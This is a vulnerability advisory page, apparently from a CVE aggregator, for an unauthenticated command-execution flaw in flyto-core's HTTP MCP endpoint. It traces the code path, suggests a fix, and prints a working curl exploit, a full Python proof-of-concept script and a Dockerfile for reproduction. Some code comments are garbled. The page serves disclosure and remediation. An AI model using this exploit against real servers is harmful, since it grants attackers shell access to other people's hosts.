CVE-2026-55786

HIGHPre-NVD 8.48.4
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.4
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 8.4Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

flyto-core has Unauthenticated Command Execution via HTTP MCP execute_module

Unauthenticated Command Execution via HTTP MCP execute_module

Summary

The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.

Details

flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.

The complete unauthenticated data flow from source to sink:

  • src/core/api/server.py:75-78mcp_router is mounted under /mcp unconditionally at app creation.
  • src/core/api/routes/mcp.py:65-66@router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.
  • src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.
  • src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.
  • src/core/mcp_handler.py:813-838tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().
  • src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.
  • src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].
  • src/core/modules/atomic/sandbox/execute_shell.py:137-139command is read directly from params with no sanitization.
  • src/core/modules/atomic/sandbox/execute_shell.py:163-169command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.

The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.

Vulnerable code excerpts:

# src/core/api/routes/mcp.py:65-66  — missing auth
@router.post("")
async def mcp_post(request: Request):

# src/core/mcp_handler.py:832-838  — attacker-controlled dispatch
elif tool_name == "execute_module":
    result = await execute_module(
        module_id=arguments.get("module_id", ""),
        params=arguments.get("params", {}),
        context=arguments.get("context"),
        browser_sessions=browser_sessions,
    )

# src/core/modules/atomic/sandbox/execute_shell.py:137-169  — sink
params = context['params']
command = params.get('command', '')

... only empty-command and cwd existence checks ...

proc = await asyncio.create_subprocess_shell(command, ...)

Contrast with the protected REST route:

# src/core/api/routes/modules.py:93  — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])

The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.

PoC

Environment setup (Docker):

# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
  -f vuln-001/Dockerfile \
  -t flyto-vuln-001 \
  reports/mcp_57_flytohub__flyto-core/

Start the server (binds 0.0.0.0:8333 inside the container)

docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001

Exploit (curl) — no Authorization header:

curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
      }
    }
  }'

Exploit (Python PoC script):

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 8333 --command id

Observed response (dynamic reproduction, Phase 2):

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "structuredContent": {
      "ok": true,
      "data": {
        "stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
        "stderr": "",
        "exit_code": 0,
        "execution_time_ms": 4.84
      }
    },
    "isError": false
  }
}

The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.

Network-accessible variant:

If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.

Recommended remediation:

--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
 from fastapi.responses import JSONResponse, Response
 from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter

[email protected]("") [email protected]("", dependencies=[Depends(require_auth)]) async def mcp_post(request: Request): result = await handle_jsonrpc_request(item, browser_sessions) + result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)

[email protected]("") [email protected]("", dependencies=[Depends(require_auth)]) async def mcp_delete(request: Request):

--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]

Impact

This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.

Affected parties include:

  • Developers and local users running flyto serve on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.
  • Infrastructure operators who expose the API on a non-loopback interface (--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.

Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

lxml buildtext requiredtext whentext text

RUN apt-get update && apt-get install -y --no-install-recommends \ gcc g++ libxml2-dev libxslt1-dev \ && rm -rf /var/lib/apt/lists/*

WORKDIR /app

local repo copy source (build context: mcp_57_flytohub__flyto-core/)

COPY repo/ /app/repo/

flyto-core[api] install (fastapi + uvicorn contains)

RUN pip install --no-cache-dir "/app/repo[api]"

EXPOSE 8333

container externalfrom accessibletext 0.0.0.0 binding

CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module

Target: flyto-core 2.26.2 Route: POST /mcp (no auth dependency — mcp.py:65) Sink: asyncio.create_subprocess_shell (execute_shell.py:163) CWE: CWE-306 Missing Authentication for Critical Function

Usage: python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id] """ import sys import time import json import argparse import urllib.request import urllib.error

def wait_for_server(base_url: str, max_wait: int = 45) -> bool: """servertext readytext until /health text.""" for i in range(max_wait): try: with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp: if resp.status == 200: print(f"[+] server is ready ({i}s textand)") return True except Exception: pass time.sleep(1) if i % 5 == 4: print(f"[*] wait in progress... ({i+1}s)") return False

def send_exploit(base_url: str, command: str) -> dict: """without authentication POST /mcptext arbitrary command execute request.""" payload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": { "command": command, "timeout": 10 } } } }

data = json.dumps(payload).encode("utf-8") req = urllib.request.Request( f"{base_url}/mcp", data=data, headers={"Content-Type": "application/json"}, method="POST", )

with urllib.request.urlopen(req, timeout=20) as resp: body = resp.read().decode("utf-8")

return json.loads(body)

def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP") parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=8333) parser.add_argument("--command", default="id", help="OS command to execute (default: id)") args = parser.parse_args()

base_url = f"http://{args.host}:{args.port}"

print("=" * 60) print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module") print(f" Target : {base_url}/mcp") print(f" Command : {args.command}") print("=" * 60) print()

# 1. wait for server readiness print("[*] waiting for server startup in progress...") if not wait_for_server(base_url): print("[-] FAIL: servertext whenbetween within not respond not") sys.exit(1)

# 2. without authentication exploit send request print(f"\n[*] POST {base_url}/mcp — without an Authorization header send") try: result = send_exploit(base_url, args.command) except urllib.error.HTTPError as e: body = e.read().decode("utf-8", errors="replace") print(f"[-] HTTP {e.code}: {body}") print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)") sys.exit(1) except Exception as e: print(f"[-] text error: {e}") sys.exit(1)

# 3. response parse print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")

# result.result.structuredContent.data.stdout try: structured = result["result"]["structuredContent"] data = structured["data"] stdout = data.get("stdout", "") stderr = data.get("stderr", "") exit_code = data.get("exit_code", -1) except (KeyError, TypeError) as e: print(f"[-] FAIL: expected response structure text — {e}") print(f" result keys: {list(result.get('result', {}).keys())}") sys.exit(1)

print(f"[*] exit_code = {exit_code}") print(f"[*] stdout = {stdout!r}") print(f"[*] stderr = {stderr!r}") print()

# 4. success verdict: id command resulttext uid= contains whether if "uid=" in stdout: print("[+] ============================================================") print("[+] PASS: without authentication text OS command execution check!") print(f"[+] command output: {stdout.strip()}") print("[+] ============================================================") sys.exit(0) else: print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different") sys.exit(1)

if __name__ == "__main__": main()

CVSS v3
8.4
EG Score
8.4(low)
EPSS
KEV
Not listed

Published

July 6, 2026

Last Modified

July 6, 2026

Vendor Advisories for CVE-2026-55786(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 05:34 UTCEG score recompute
  2. 2026-07-06 18:22 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55786?
CVE-2026-55786 is a high vulnerability published on July 6, 2026. flyto-core has Unauthenticated Command Execution via HTTP MCP execute_module Unauthenticated Command Execution via HTTP MCP execute_module Summary The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered…
When was CVE-2026-55786 disclosed?
CVE-2026-55786 was first published in the National Vulnerability Database on July 6, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55786?
CVE-2026-55786 has a CVSS v4.0 base score of 8.4 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55786?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55786, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55786

Explore →

Is Your Infrastructure Affected by CVE-2026-55786?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.